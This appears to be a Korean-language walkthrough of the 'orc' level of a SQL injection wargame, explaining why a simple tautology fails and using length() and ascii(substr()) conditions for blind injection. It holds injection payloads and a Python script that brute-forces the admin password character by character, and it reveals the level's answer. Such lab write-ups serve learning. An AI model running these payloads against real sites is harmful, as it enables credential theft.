Level4 : orc
두 번의 쿼리를 날린다. 하지만 초록 박스의 쿼리를 통해 solve
함수를 실행시킬 수 있다.
먼저, 기본적인 구문을 넣었을 때 Hello admin
이라고 뜬다.
?pw=1' or '1'='1
하지만, 두번째 쿼리에선 적용되지 않아 solve
함수를 실행시킬 수 없다. 두 쿼리의 다른점은 GET으로 넘어오는 pw 파라미터가 addslashes
함수를 거치는 차이가 있다.
addslashes
함수는 매개변수로 넘겨준 문자열 안에 싱글쿼터(’), 더블쿼터(”), 백슬래쉬(\), NULL 바이트가 포함되어 있다면 해당 문자 앞에 역슬래시(\)를 추가해주는 함수이다.
이 문자들은 필터되기 때문에 이 문자가 아닌 다른 방법을 이용해야 한다. SQL 구문에서 함수를 사용할 수 있는데, 이 함수의 리턴 값을 이용하여 값을 유추하거나 원하는 값을 쓸 수 있다.
먼저, length
함수와 =,<,> 등 조건식을 이용해서 비밀번호의 길이를 찾을 수 있다.
?pw=' or id='admin' and length(pw)<10 %23 //password length check
길이를 찾았다면, ascii
함수와 substr
함수를 통해 비밀번호의 특정 자리를 숫자로 바꿔 비교할 수 있다. 그러면 싱글 쿼터와 더블 쿼터가 필터링되더라도 문자 비교가 가능하게 된다.
?pw=' or id='admin' and ascii(substr(pw, 1, 1))=48%23%27 -> password
특정 자리를 숫자로 바꿔 비교할 때, 모든 문자를 비교하면서 맞는 값을 찾아야 한다. 이를 하나씩 입력하기에는 효율적이지 않아 파이썬의 request
모듈을 이용해서 문제를 편하게 해결할 수 있다.
import requests
addr = 'https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php'
cookie = {'PHPSESSID' : ''}
password = ''
for i in range(1, 30):
URL = addr + "?pw=' or id='admin' and length(pw)="+str(i)+"%23"
res = requests.get(URL, cookies=cookie)
if "Hello admin" in res.text:
print("password length :", str(i))
password_length = i
break
for i in range(1, password_length+1):
for j in range(47, 123):
URL = addr + "?pw= 'or id='admin' and ascii(substr(pw, "+str(i)+",1))="+str(j)+"%23%27"
res = requests.get(URL, cookies=cookie)
if "Hello admin" in res.text:
password += chr(j)
break
print("password:", password)
실행 결과
?pw=095a9852
Uploaded by N2T